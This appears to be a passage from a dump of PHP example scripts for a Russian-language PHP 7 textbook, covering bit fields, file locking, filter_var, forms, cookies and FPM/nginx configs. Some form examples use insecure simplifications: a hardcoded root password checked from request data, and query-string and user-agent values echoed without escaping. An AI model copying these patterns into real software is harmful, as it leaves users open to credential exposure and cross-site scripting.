 9 |   $height = 15 << 14;     // 000000000 000011110 000000000 000 00
10 |   // Ширина
11 |   $width = 15 << 23;      // 000001111 000000000 000000000 000 00
12 |   // Результат
13 |   echo RECTANGLE | GREEN | $angle | $height | $width; // 126076330
14 | ?>


--------------------------------------------------------------------------------
/expr/bits_unpack.php:
--------------------------------------------------------------------------------
1 | <?php ## Распаковка значений из битового поля
2 |   echo "Примитив: " .       (126076330 & 3) . "<br />";
3 |   echo "Цвет: " .          ((126076330 & 28) >> 2) . "<br />";
4 |   echo "Угол поворота: " . ((126076330 & 16352) >> 5) . "<br />";
5 |   echo "Высота: " .        ((126076330 & 8372224) >> 14) . "<br />";
6 |   echo "Ширина: " .        ((126076330 & 4286578688) >> 23) . "<br />";
7 | ?>


--------------------------------------------------------------------------------
/expr/bool.php:
--------------------------------------------------------------------------------
1 | <?php ## Логические переменные
2 |   $hundred = 100;
3 |   if ($hundred == 1)  echo "хм, странно... переменная равна 1!<br />";
4 |   if ($hundred == true) echo "переменная истинна!<br />";
5 | ?>


--------------------------------------------------------------------------------
/expr/boolinc.php:
--------------------------------------------------------------------------------
1 | <?php ## Инкремент и декремент логической переменной
2 |   $b = true;
3 |   echo "b: $b<br />";
4 |   $b++;
5 |   echo "b: $b<br />";
6 | ?>
7 | 


--------------------------------------------------------------------------------
/expr/dynamic.php:
--------------------------------------------------------------------------------
 1 | <?php ## Константа с динамическим именем.
 2 |   // Формируем случайное число от 1 до 10
 3 |   $index = mt_rand(1, 10);
 4 |   // Формируем имя константы
 5 |   $name = "VALUE{$index}";
 6 | 
 7 |   // Определяем константу с динамическим именем
 8 |   define($name, 1);
 9 | 
10 |   // Получаем значение константы
11 |   echo constant($name);
12 | ?>
13 | 


--------------------------------------------------------------------------------
/expr/eq.php:
--------------------------------------------------------------------------------
1 | <?php ## Операторы равенства и эквивалентности.
2 |   $yeap = array("реальность", true);
3 |   $nein = array("реальность", "иллюзорна");
4 |   if ($yeap == $nein)  echo "Два массива равны";
5 |   if ($yeap === $nein) echo "Два массива эквивалентны";
6 | ?>


--------------------------------------------------------------------------------
/expr/eqobj.php:
--------------------------------------------------------------------------------
1 | <?php ## Сравнение объектов.
2 |   class AgentSmith {}
3 |   $smit = new AgentSmith();
4 |   $wesson = new AgentSmith();
5 |   if ($smit == $wesson)  echo "Объекты равны.";
6 |   if ($smit === $wesson) echo "Объекты эквивалентны.";
7 | ?>
8 | 


--------------------------------------------------------------------------------
/expr/exists.php:
--------------------------------------------------------------------------------
1 | <?php ## Оператор ??
2 |   $x = NULL;
3 |   $y = NULL;
4 |   $z = 3;
5 |   var_dump($x ?? $y ?? $z); // int(3)
6 | ?>


--------------------------------------------------------------------------------
/expr/hardref.php:
--------------------------------------------------------------------------------
 1 | <?php ## Жесткая ссылка на несуществующий элемент массива.
 2 |   $A = array(
 3 |     'вилка'     => '271 руб. 82 коп.',
 4 |     'сковорода' => '818 руб. 28 коп.'
 5 |   );
 6 |   $b =& $A['ложка'];  // $b — то же, что и элемент с индексом 'ложка'
 7 |   echo "Элемент с индексом 'ложка': ".$A['ложка']."<br />";
 8 |   echo "Тип несуществующего элемента 'ложка': ".gettype($A['ложка']);
 9 | ?>
10 | 


--------------------------------------------------------------------------------
/expr/if.php:
--------------------------------------------------------------------------------
1 | <?php ## Средний параметр в условной конструкции не обязателен
2 |   $x = $x ?: 1;
3 |   echo $x; // 1
4 | ?>


--------------------------------------------------------------------------------
/expr/objref.php:
--------------------------------------------------------------------------------
 1 | <?php ## Ссылки на объекты.
 2 |   // Объявляем новый класс.
 3 |   class AgentSmith {}
 4 |   // Создаем новый объект класса AgentSmith.
 5 |   $first = new AgentSmith();
 6 |   // Присваиваем значение атрибуту класса.
 7 |   $first->mind = 0.123;
 8 |   // Копируем объекты.
 9 |   $second = $first;
10 |   // Изменяем "разумность" у копии!
11 |   $second->mind = 100;
12 |   // Выводим оба значения.
13 |   echo "First mind: {$first->mind}, second: {$second->mind}";
14 | ?>
15 | 


--------------------------------------------------------------------------------
/expr/var_export.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование var_export(). 
 2 |   class SomeClass
 3 |   {
 4 |     private $x = 100;
 5 |   }
 6 |   $a = array(1, array ("Programs hacking programs. Why?", "д'Артеньян"));
 7 |   echo "<pre>"; var_export($a); echo "</pre>";
 8 |   $obj = new SomeClass();
 9 |   echo "<pre>"; var_export($obj); echo "</pre>";
10 | ?>


--------------------------------------------------------------------------------
/expr/warn.php:
--------------------------------------------------------------------------------
1 | <!-- Навязчивые предупреждения -->
2 | <form action="warn.php">
3 | <input type="submit" name="doGo" value="Click!">
4 | </form>
5 | <?php
6 |   // В массиве $_REQUEST всегда содержатся пришедшие из формы данные.
7 |   if ($_REQUEST['doGo']) echo "Вы нажали кнопку!";
8 | ?>
9 | 


--------------------------------------------------------------------------------
/expr/warnoff.php:
--------------------------------------------------------------------------------
1 | <!-- Отключение навязчивого предупреждения -->
2 | <form action="warnoff.php">
3 | <input type="submit" name="doGo" value="Click!">
4 | </form>
5 | <?php
6 | // В массиве $_REQUEST всегда содержатся пришедшие из формы данные.
7 | if (@$_REQUEST['doGo']) echo "Вы нажали кнопку!";
8 | ?>
9 | 


--------------------------------------------------------------------------------
/extensions/phpinfo.php:
--------------------------------------------------------------------------------
1 | <?php ## Отчет о текущей версии PHP.
2 |   phpinfo();
3 | ?>


--------------------------------------------------------------------------------
/extensions/precision.php:
--------------------------------------------------------------------------------
1 | <?php ## Вывод вещественных чисел.
2 |   echo 10.23456;
3 |   echo "<br />";
4 |   echo 10.23456E+20;
5 | ?>


--------------------------------------------------------------------------------
/extensions/session.php:
--------------------------------------------------------------------------------
1 | <?php ## Отправка HTTP-заголовков после вывода данных.
2 |   echo "hello world!";
3 |   session_start();
4 | ?>


--------------------------------------------------------------------------------
/files/counter.php:
--------------------------------------------------------------------------------
 1 | <?php ## Скрипт-счетчик с блокировкой.
 2 |   $file = "counter.dat";
 3 |   fclose(fopen($file, "a+b")); // создаем первоначально пустой файл
 4 |   $f = fopen($file, "r+t");    // открываем файл счетчика
 5 |   flock($f, LOCK_EX);          // дальше будем работать только мы
 6 |   $count = fread($f, 100);     // читаем значение, сохраненное в файле
 7 |   $count = $count+1;           // увеличиваем его на 1 (пустая строка = 0)
 8 |   ftruncate($f, 0);            // очищаем файл
 9 |   fseek($f, 0, SEEK_SET);      // переходим в начало файла
10 |   fwrite($f, $count);          // записываем новое значение
11 |   fclose($f);                  // закрываем файл
12 |   echo $count;                 // печатаем величину счетчика
13 | ?>


--------------------------------------------------------------------------------
/files/csv.php:
--------------------------------------------------------------------------------
 1 | <?php ## Чтение CSV-файла.
 2 |   $f = fopen("file.csv", "rt") or die("Ошибка!");
 3 |   for ($i = 0; $data = fgetcsv($f, 1000, ";"); $i++) {
 4 |     $num = count($data);
 5 |     echo "<h3>Строка номер $i (полей: $num):</h3>";
 6 |     for ($c = 0; $c < $num; $c++)
 7 |       print "[$c]: $data[$c]<br />"; 
 8 |   }
 9 |   fclose($f);
10 | ?>


--------------------------------------------------------------------------------
/files/file.csv:
--------------------------------------------------------------------------------
1 | См. http://bugs.php.net/bug.php?id=12127;для проверки fgetcsv()
2 | Любимое (витаминизированное);345;9,15
3 | F12;Film;Джеймс Бонд. Золотой пистолет;2:00:15;680
4 | 
5 | Who are you?;"It's okay, you're safe now.<br />
6 | I knew you'd save me.<br />
7 | I didn't save you, kid. You saved yourself"
8 | "с ""кавычками""";Слэш \ слэш;"""";апостроф ' апостроф
9 | 


--------------------------------------------------------------------------------
/files/file.ini:
--------------------------------------------------------------------------------
 1 | [File Settings]
 2 | ;File_version=0.2 (PP)
 3 | File_version=7
 4 | Chip=LM9831
 5 | 
 6 | [Scanner Software Settings]
 7 | Crystal_Frequency=48000000
 8 | Scan_Buffer_Mbytes=8 // Scan buffer size in Mbytes
 9 | Min_Buffer_Limit=1   // dont read scan buffer below this point in k bytes
10 | 


--------------------------------------------------------------------------------
/files/glob.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование функции glob().
2 |   echo "<pre>";
3 |   print_r(glob("c:/windows/*/*.{exe,ini}", GLOB_BRACE));
4 | ?>
5 | 


--------------------------------------------------------------------------------
/files/ini.php:
--------------------------------------------------------------------------------
1 | <?php ## Чтение INI-файла.
2 |   $ini = parse_ini_file("file.ini", true);
3 |   echo "<pre>"; print_r($ini); echo "</pre>";
4 |   echo "Chip: {$ini['File Settings']['Chip']}";
5 | ?>


--------------------------------------------------------------------------------
/files/lock_ex.php:
--------------------------------------------------------------------------------
 1 | <?php ## Модель процесса-писателя.
 2 |   $file = "file.txt";
 3 | 
 4 |   // Вначале создаем пустой файл, ЕСЛИ ЕГО ЕЩЕ НЕТ.
 5 |   // Если же файл существует, это его не разрушит.
 6 |   fclose(fopen($file, "a+b"));
 7 | 
 8 |   // Блокируем файл.
 9 |   $f = fopen($file, "r+b") or die("Не могу открыть файл!");
10 |   flock($f, LOCK_EX); // ждем, пока мы не станем единственными
11 | 
12 |     // . . .
13 |     // В этой точке мы можем быть уверены, что только эта 
14 |     // программа работает с файлом.
15 |     // . . . 
16 | 
17 |   // Все сделано. Снимаем блокировку.
18 |   fclose($f);
19 | ?>


--------------------------------------------------------------------------------
/files/lock_sh.php:
--------------------------------------------------------------------------------
 1 | <?php ## Модель процесса-читателя.
 2 | $file = "file.txt";
 3 | 
 4 | // Вначале создаем пустой файл, ЕСЛИ ЕГО ЕЩЕ НЕТ.
 5 | // Если же файл существует, это его не разрушит.
 6 | fclose(fopen($file, "a+b"));
 7 | 
 8 | // Блокируем файл.
 9 | $f = fopen($file, "r+b") or die("Не могу открыть файл!");
10 | flock($f, LOCK_SH); // ждем, пока не завершится писатель
11 | 
12 |   // . . .
13 |   // В этой точке мы можем быть уверены, что в файл 
14 |   // никто не пишет.
15 |   // . . . 
16 | 
17 | // Все сделано. Снимаем блокировку.
18 | fclose($f);
19 | ?>


--------------------------------------------------------------------------------
/files/slashes.php:
--------------------------------------------------------------------------------
1 | <?php ## Коварство обратных слэшей.
2 |   $path = "c:\windows\system32\drivers\etc\hosts";
3 |   echo $path."<br />"; // казалось бы, правильно...
4 |   $path = "c:\non\existent\file";
5 |   echo $path."<br />"; // а вот тут - ошибка проявилась!
6 | ?>


--------------------------------------------------------------------------------
/files/textbin.php:
--------------------------------------------------------------------------------
 1 | <?php ## Различие текстового и бинарного режимов.
 2 |   // Получает в параметрах строку и возвращает через пробел коды 
 3 |   // символов, из которых она состоит.
 4 |   function makeHex($st)
 5 |   {  
 6 |     for ($i = 0; $i < strlen($st); $i++)
 7 |       $hex[] = sprintf("%02X", ord($st[$i]));
 8 |     return join(" ", $hex);
 9 |   }
10 | 
11 |   // Открываем файл скрипта разными способами
12 |   $f = fopen(__FILE__, "rb");  // бинарный режим
13 |   echo makeHex(fgets($f, 100)), "<br />\n";
14 | 
15 |   $f = fopen(__FILE__, "rt"); // текстовый режим
16 |   echo makeHex(fgets($f, 100)), "<br />\n";
17 | ?>


--------------------------------------------------------------------------------
/files/tree.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/files/tree.php


--------------------------------------------------------------------------------
/filters/anonim_sanitize.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование анонимной функции.
 2 |   $str = <<<MARKER
 3 | <h1>Заголовок</h1>
 4 | <p>Первый параграф, посвященный "проверке"</p>
 5 | MARKER;
 6 |   echo "<pre>";
 7 |   echo filter_var(
 8 |     $str,
 9 |     FILTER_CALLBACK,
10 |     [
11 |       'options' => function ($value) {
12 |                     return strip_tags($value);
13 |                   }
14 |     ]
15 |   );
16 |   echo "</pre>";
17 | ?>


--------------------------------------------------------------------------------
/filters/boolean_validate.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование FILTER_NULL_ON_FAILURE.
 2 |   $true = "yes";
 3 |   $false = "no";
 4 |   $null = "Hello world!";
 5 |   echo "<pre>";
 6 |   var_dump(filter_var($true, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE));
 7 |   var_dump(filter_var($false, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE));
 8 |   var_dump(filter_var($null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE));
 9 |   echo "</pre>";
10 | ?>


--------------------------------------------------------------------------------
/filters/callback_sanitize.php:
--------------------------------------------------------------------------------
 1 | <?php ## Пользовательская фильтрация данных.
 2 |   function filterTags($value) {
 3 |     return strip_tags($value);
 4 |   }
 5 |   $str = <<<MARKER
 6 | <h1>Заголовок</h1>
 7 | <p>Первый параграф, посвященный "проверке"</p>
 8 | MARKER;
 9 |   echo "<pre>";
10 |   echo filter_var($str, FILTER_CALLBACK, ['options' => 'filterTags']);
11 |   echo "</pre>";
12 | ?>
13 | 


--------------------------------------------------------------------------------
/filters/default.php:
--------------------------------------------------------------------------------
 1 | <?php ## Значение по умолчанию.
 2 |   $options = [
 3 |     'options' => [
 4 |       'min_range' => -10,
 5 |       'max_range' => 10,
 6 |       'default' => 10
 7 |     ]
 8 |   ];
 9 | 
10 |   echo filter_var(1000, FILTER_VALIDATE_INT, $options); // 10
11 | ?>


--------------------------------------------------------------------------------
/filters/email_sanitize.php:
--------------------------------------------------------------------------------
1 | <?php ## Фильтрация электронного адреса.
2 |   $email_correct = 'igorsimdyanov@gmail.com';
3 |   $email_wrong   = 'igorsimdyanov@//gmail.com';
4 |   echo filter_var($email_correct, FILTER_SANITIZE_EMAIL)."<br />";
5 |   echo filter_var($email_wrong, FILTER_SANITIZE_EMAIL)."<br />";
6 | ?>


--------------------------------------------------------------------------------
/filters/email_validate.php:
--------------------------------------------------------------------------------
1 | <?php ## Проверка электронного адреса.
2 |   $email_correct = 'igorsimdyanov@gmail.com';
3 |   $email_wrong   = 'igorsimdyanov@//gmail.com';
4 |   echo "correct=" . filter_var($email_correct, FILTER_VALIDATE_EMAIL)."<br />";
5 |   echo "wrong=  " . filter_var($email_wrong, FILTER_VALIDATE_EMAIL)."<br />";
6 | ?>


--------------------------------------------------------------------------------
/filters/encoded_sanitize.php:
--------------------------------------------------------------------------------
1 | <?php ## Фильтрация URL-адреса.
2 |   $url = 'params=Привет мир!';
3 |   echo filter_var($url, FILTER_SANITIZE_ENCODED);
4 |   // params%3D%D0%9F%D1%80%D0%B8%D0%B2%D0%B5%D1%82%20%D0%BC%D0%B8%D1%80%21
5 | ?>


--------------------------------------------------------------------------------
/filters/filter_var.php:
--------------------------------------------------------------------------------
 1 | <?php ## Проверка данных.
 2 |   $boolean = "yes";
 3 |   if(filter_var($boolean, FILTER_VALIDATE_BOOLEAN))
 4 |     echo "$boolean корректное булевое значение<br />";
 5 |   else
 6 |     echo "$boolean некорректное булевое значение<br />";
 7 | 
 8 |   $float = "3.14";
 9 |   if(filter_var($float, FILTER_VALIDATE_FLOAT))
10 |     echo "$float корректное значение с плавающей точкой<br />";
11 |   else
12 |     echo "$float некорректное значение с плавающей точкой<br />";
13 | 
14 |   $url = "http://github.com";
15 |   if(filter_var($url, FILTER_VALIDATE_URL))
16 |     echo "$url корректный адрес<br />";
17 |   else
18 |     echo "$url некорректный адрес<br />";
19 | ?>


--------------------------------------------------------------------------------
/filters/int_float_sanitize.php:
--------------------------------------------------------------------------------
1 | <?php ## filter_var() не заменяет intval().
2 |   $number = "3.14";
3 |   echo filter_var($number, FILTER_SANITIZE_NUMBER_INT)."<br />"; // 314
4 |   echo intval($number);                                          // 3
5 | ?>


--------------------------------------------------------------------------------
/filters/int_sanitize.php:
--------------------------------------------------------------------------------
1 | <?php ## Очистка целого числа.
2 |   $number = "4342hello";
3 |   echo filter_var($number, FILTER_SANITIZE_NUMBER_INT)."<br />"; // 4342
4 |   echo intval($number)."<br />";                                 // 4342
5 | ?>


--------------------------------------------------------------------------------
/filters/magic_quotes_sanitize.php:
--------------------------------------------------------------------------------
 1 | <?php ## Экранирование.
 2 |   $arr = [
 3 |     'Deb\'s files',
 4 |     'Symbol \\',
 5 |     'print "Hello world!"'
 6 |   ];
 7 |   echo "<pre>";
 8 |   print_r($arr);
 9 |   echo "<pre>";
10 |   $result = filter_var_array($arr, FILTER_SANITIZE_MAGIC_QUOTES);
11 |   echo "<pre>";
12 |   print_r($result);
13 |   echo "<pre>";
14 | ?>


--------------------------------------------------------------------------------
/filters/range_validate.php:
--------------------------------------------------------------------------------
 1 | <?php ## Проверка вхождения числа в диапазон.
 2 |   $first = 100;
 3 |   $second = 5;
 4 | 
 5 |   $options = [
 6 |     'options' => [
 7 |       'min_range' => -10,
 8 |       'max_range' => 10,
 9 |     ]
10 |   ];
11 | 
12 |   if(filter_var($first, FILTER_VALIDATE_INT, $options))
13 |     echo "$first входит в диапазон -10 .. 10<br />";
14 |   else
15 |     echo "$first не входит в диапазон -10 .. 10<br />";
16 |   
17 |   if(filter_var($second, FILTER_VALIDATE_INT, $options))
18 |     echo "$second входит в диапазон -10 .. 10<br />";
19 |   else
20 |     echo "$second не входит в диапазон -10 .. 10<br />";
21 | ?>


--------------------------------------------------------------------------------
/filters/regexp_validate.php:
--------------------------------------------------------------------------------
 1 | <?php ## Проверка регулярным выражением.
 2 | 
 3 |   $first = "chapter01";
 4 |   $second = "ch02";
 5 | 
 6 |   // Соответствие строкам вида "ch01", "ch15"
 7 |   $options = [
 8 |     'options' => [
 9 |       'regexp' => "/^ch\d+$/"
10 |     ]
11 |   ];
12 | 
13 |   if(filter_var($first, FILTER_VALIDATE_REGEXP, $options))
14 |     echo "$first корректный идентификатор главы<br />";
15 |   else
16 |     echo "$first некорректный идентификатор главы<br />";
17 | 
18 |   if(filter_var($second, FILTER_VALIDATE_REGEXP, $options))
19 |     echo "$second корректный идентификатор главы<br />";
20 |   else
21 |     echo "$second некорректный идентификатор главы<br />";
22 | ?>


--------------------------------------------------------------------------------
/filters/special_chars_sanitize.php:
--------------------------------------------------------------------------------
1 | <?php ## Обработка текста.
2 |   $str = <<<MARKER
3 | <h1>Заголовок</h1>
4 | <p>Первый параграф, посвященный "проверке"</p>
5 | MARKER;
6 |   echo "<pre>";
7 |   echo filter_var($str, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
8 |   echo "</pre>";
9 | ?>


--------------------------------------------------------------------------------
/forms/cookie.php:
--------------------------------------------------------------------------------
 1 | <?php ## Демонстрация работы с массивом $_COOKIES.
 2 |   // Вначале счетчик равен нулю.
 3 |   $count = 0;
 4 |   // Если в Cookies что-то есть, берем счетчик оттуда.
 5 |   if (isset($_COOKIE['count'])) $count = $_COOKIE['count'];
 6 |   $count++;
 7 |   // Записываем в Cookies новое значение счетчика.
 8 |   setcookie("count", $count, 0x7FFFFFFF, "/");
 9 |   // Выводим счетчик.
10 |   echo $count;
11 | ?>


--------------------------------------------------------------------------------
/forms/dump.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Выводит все глобальные переменные</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 |   <pre>
 9 |   <?php
10 |     print_r($GLOBALS);
11 |   ?>
12 |   </pre>
13 | </body>
14 | </html>


--------------------------------------------------------------------------------
/forms/form.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Cтраница с формой</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 |   <form action="hello.php">
 9 |     Логин: <input type="text" name="login" value=""><br />
10 |     Пароль: <input type="password" name="password" value=""><br />
11 |     <input type="submit" value="Нажмите кнопку, чтобы запустить сценарий!">
12 |   </form>
13 | </body>
14 | </html>


--------------------------------------------------------------------------------
/forms/hello.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Использование данных формы</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 | <?php
 9 | 	if ($_REQUEST['login'] == "root" && $_REQUEST['password'] == "Z10N0101") {
10 | 	  echo "Доступ открыт для пользователя {$_REQUEST['login']}";
11 | 	  // Команда блокирования рабочей станции (работает в NT-системах)
12 | 	  system("rundll32.exe user32.dll,LockWorkStation");
13 | 	} else {
14 | 	  echo "Доступ закрыт!";
15 | 	}
16 | ?>
17 | </body>
18 | </html>
19 | 


--------------------------------------------------------------------------------
/forms/ip.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Вывод IP-адреса и браузера пользователя</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 |   Ваш IP-адрес: <?= $_SERVER['REMOTE_ADDR'] ?><br />
 9 |   Ваш браузер: <?= $_SERVER['HTTP_USER_AGENT'] ?>
10 | </body>
11 | </html>
12 | 


--------------------------------------------------------------------------------
/forms/qs.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Вывод параметров командной строки</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 | <?php
 9 |   echo "Данные из командной строки: {$_SERVER['QUERY_STRING']}";
10 | ?>
11 | </body>
12 | </html>


--------------------------------------------------------------------------------
/fpm/php-fpm.conf:
--------------------------------------------------------------------------------
1 | [global]
2 | pid = /var/run/php5-fpm.pid
3 | error_log = /var/log/php5-fpm.log
4 | emergency_restart_threshold = 0
5 | emergency_restart_interval = 0
6 | include = /etc/php5/fpm/pool.d/*.conf
7 | 


--------------------------------------------------------------------------------
/fpm/pool.d/example.com.conf:
--------------------------------------------------------------------------------
 1 | [example.com]
 2 | 
 3 | user = www-data
 4 | group = www-data
 5 | 
 6 | listen = /var/www/$pool/fastcgi.sock
 7 | 
 8 | listen.owner = www-data
 9 | listen.group = www-data
10 | 
11 | pm = dynamic
12 | pm.max_children = 5
13 | pm.start_servers = 2
14 | pm.min_spare_servers = 1
15 | pm.max_spare_servers = 3
16 |  
17 | security.limit_extensions = .php .php3 .php4 .php5
18 |  
19 | php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f admin@example.com
20 | php_admin_value[error_log] = /var/log/fpm-php/$pool.www.log
21 | php_admin_flag[log_errors] = on
22 | php_admin_value[memory_limit] = 32M
23 | 


--------------------------------------------------------------------------------
/fpm/pool.d/example.net.conf:
--------------------------------------------------------------------------------
 1 | [net.com]
 2 | 
 3 | user = www-data
 4 | group = www-data
 5 | 
 6 | listen = /var/www/$pool/fastcgi.sock
 7 | 
 8 | listen.owner = www-data
 9 | listen.group = www-data
10 | 
11 | pm = dynamic
12 | pm.max_children = 5
13 | pm.start_servers = 2
14 | pm.min_spare_servers = 1
15 | pm.max_spare_servers = 3
16 |  
17 | security.limit_extensions = .php .php3 .php4 .php5
18 |  
19 | php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f admin@example.com
20 | php_admin_value[error_log] = /var/log/fpm-php/$pool.www.log
21 | php_admin_flag[log_errors] = on
22 | php_admin_value[memory_limit] = 32M
23 | 


--------------------------------------------------------------------------------
/fpm/sites-available/example.com:
--------------------------------------------------------------------------------
 1 | upstream example_com {
 2 |   server unix:/var/www/example.com/fastcgi.sock fail_timeout=0;
 3 | }
 4 | server {
 5 |   listen   80;
 6 |   root /var/www/example.com/www;
 7 |   access_log /var/www/example.com/log/access.log;
 8 |   error_log  /var/www/example.com/log/error.log;
 9 |   
10 |   server_name example.com www.example.com;
11 | 
12 |   include /etc/nginx/templates/default;
13 | 
14 |   location ~* \.php$ {
15 |     fastcgi_pass example_com;
16 |     include fastcgi_params;
17 |     fastcgi_index index.php;
18 |   }
19 | }


--------------------------------------------------------------------------------
/fpm/sites-available/example.net:
--------------------------------------------------------------------------------
 1 | upstream example_net {
 2 |   server unix:/var/www/example.net/fastcgi.sock fail_timeout=0;
 3 | }
 4 | server {
 5 |   listen   80;
 6 |   root /var/www/example.net/www;
 7 |   access_log /var/www/example.net/log/access.log;
 8 |   error_log  /var/www/example.net/log/error.log;
 9 |   
10 |   server_name example.net www.example.net;
11 | 
12 |   include /etc/nginx/templates/default;
13 | 
14 |   location ~* \.php$ {
15 |     fastcgi_pass example_net;
16 |     include fastcgi_params;
17 |     fastcgi_index index.php;
18 |   }
19 | }


--------------------------------------------------------------------------------
/func/anonim.php:
--------------------------------------------------------------------------------
 1 | <?php ## Анонимная функция.
 2 |   $myecho = function (...$str)
 3 |   {  
 4 |     foreach ($str as $v) {
 5 |       echo "$v<br />\n"; // выводим элемент
 6 |     }
 7 |   };
 8 |   // Вызов функции
 9 |   $myecho("Меркурий", "Венера", "Земля", "Марс");
10 | ?>


--------------------------------------------------------------------------------
/func/anpar.php:
--------------------------------------------------------------------------------
 1 | <?php ## Передача анонимной функции в качестве параметра.
 2 |   function tabber($spaces, $echo, ...$planets)
 3 |   {
 4 |     // Подготавливаем аргументы для myecho().
 5 |     $new = [];
 6 |     foreach ($planets as $planet) {
 7 |       $new[] = str_repeat("&nbsp;", $spaces).$planet;
 8 |     }
 9 |     // Пользовательский вывод задается из вне
10 |     $echo(...$new);
11 |   }
12 | 
13 |   // Массив для вывода
14 |   $planets = ["Меркурий", "Венера", "Земля", "Марс"];
15 |   // отображаем строки одну под другой
16 |   tabber(10, function(...$str) {
17 |     foreach ($str as $v) {
18 |       echo "$v<br />\n";
19 |     }
20 |   }, ...$planets);
21 | ?>


--------------------------------------------------------------------------------
/func/byref.php:
--------------------------------------------------------------------------------
 1 | <?php ## Передача параметров по ссылке.
 2 |   function increment(&$a) // $a - ссылочная
 3 |   {
 4 |     echo "Текущее значение: $a<br />";
 5 |     $a++;
 6 |     echo "После увеличения: $a<br />";
 7 |   }
 8 |   # ...
 9 |   $num = 10;
10 |   echo "Начальное значение: $num<br />";
11 |   increment($num); // передача по ссылке
12 |   echo "После вызова функции: $num<br />";  // 11!
13 | ?>


--------------------------------------------------------------------------------
/func/byval.php:
--------------------------------------------------------------------------------
 1 | <?php ## Передача параметров по значению.
 2 |   function increment($a)
 3 |   { 
 4 |     echo "Текущее значение: $a<br />";
 5 |     $a++;
 6 |     echo "После увеличения: $a<br />";
 7 |   }
 8 |   # ...
 9 |   $num = 10;
10 |   echo "Начальное значение: $num<br />";
11 |   increment($num);
12 |   echo "После вызова функции: $num<br />";
13 | ?>


--------------------------------------------------------------------------------
/func/closure.php:
--------------------------------------------------------------------------------
 1 | <?php ## Замыкание
 2 |   $message = "Работа не может быть продолжена из-за ошибок:<br />";
 3 |   $check = function(array $errors) use ($message)
 4 |   {
 5 |     if (isset($errors) && count($errors) > 0) {
 6 |       echo $message;
 7 |       foreach($errors as $error) {
 8 |         echo "$error<br />";
 9 |       }
10 |     }
11 |   };
12 | 
13 |   $check([]);
14 |   // ...
15 |   $erorrs[] = "Заполните имя пользователя";
16 |   $check($erorrs);
17 |   // ...
18 |   $message = "Список требований"; // Уже не изменить
19 |   $erorrs = ["PHP", "MySQL", "memcache"];
20 |   $check($erorrs);
21 | ?>


--------------------------------------------------------------------------------
/func/dumperEx.php:
--------------------------------------------------------------------------------
1 | <?php ## Пример использования dumper().
2 |   // Подключаем функцию dumper().
3 |   require_once "dumper.php";
4 |   dumper($GLOBALS);
5 | ?>


--------------------------------------------------------------------------------
/func/func_get_args.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование func_get_args().
 2 |   function myecho()
 3 |   {  
 4 |     foreach (func_get_args() as $v) {
 5 |       echo "$v<br />\n"; // выводим элемент
 6 |     }
 7 |   }
 8 |   // отображаем строки одну под другой
 9 |   myecho("Меркурий", "Венера", "Земля", "Марс");
10 | ?>


--------------------------------------------------------------------------------
/func/global.php:
--------------------------------------------------------------------------------
 1 | <?php ## Глобальные переменные в функции.
 2 |   $monthes = [
 3 |     1  => "Январь",
 4 |     2  => "Февраль",
 5 |     // ...
 6 |     12 => "Декабрь"
 7 |   ];
 8 |   // Возвращает название месяца по его номеру. Нумерация начинается с 1! 
 9 |   function getMonthName($n)
10 |   { 
11 |     global $monthes;
12 |     return $monthes[$n];
13 |   }
14 |   // Применение.
15 |   echo getMonthName(2); // выводит "Февраль"
16 | ?>


--------------------------------------------------------------------------------
/func/local.php:
--------------------------------------------------------------------------------
 1 | <?php ## Локальные переменные.
 2 |   function silly()
 3 |   { 
 4 |     $i = mt_rand();    // записывает в $i случайное число
 5 |     echo "$i<br />";  // выводит его на экран
 6 |     // Эта $i не имеет к глобальной $i никакого отношения!
 7 |   }
 8 |   // Выводит в цикле 10 случайных чисел.
 9 |   for ($i = 0; $i != 10; $i++) silly();
10 |   echo PHP_OS;
11 | ?>


--------------------------------------------------------------------------------
/func/nested.php:
--------------------------------------------------------------------------------
 1 | <?php ## Вложенные функции.
 2 |   function father($a)
 3 |   { 
 4 |     echo $a, "<br />";
 5 |     function child($b) { 
 6 |       echo $b + 1, "<br />";
 7 |       return $b * $b;
 8 |     }
 9 |     return $a * $a * child($a); 
10 |     // фактически возвращает $a * $a * ($a+1) * ($a+1)
11 |   }
12 |   // Вызываем функции.
13 |   father(10);
14 |   child(30);
15 |   // Попробуйте теперь ВМЕСТО этих двух вызовов поставить такие 
16 |   // же, но только в обратном порядке. Что, выдает ошибку? 
17 |   // Почему, спрашиваете? Читайте дальше!
18 | ?>


--------------------------------------------------------------------------------
/func/retnull.php:
--------------------------------------------------------------------------------
1 | <?php ## Неявный возврат NULL.
2 |   function f() { }
3 |   var_dump(f()); // NULL
4 | ?>
5 | 


--------------------------------------------------------------------------------
/func/retref.php:
--------------------------------------------------------------------------------
 1 | <?php ## Возврат ссылки.
 2 |   $a = 100;
 3 |   function &r()   // & - возвращает ссылку
 4 |   {
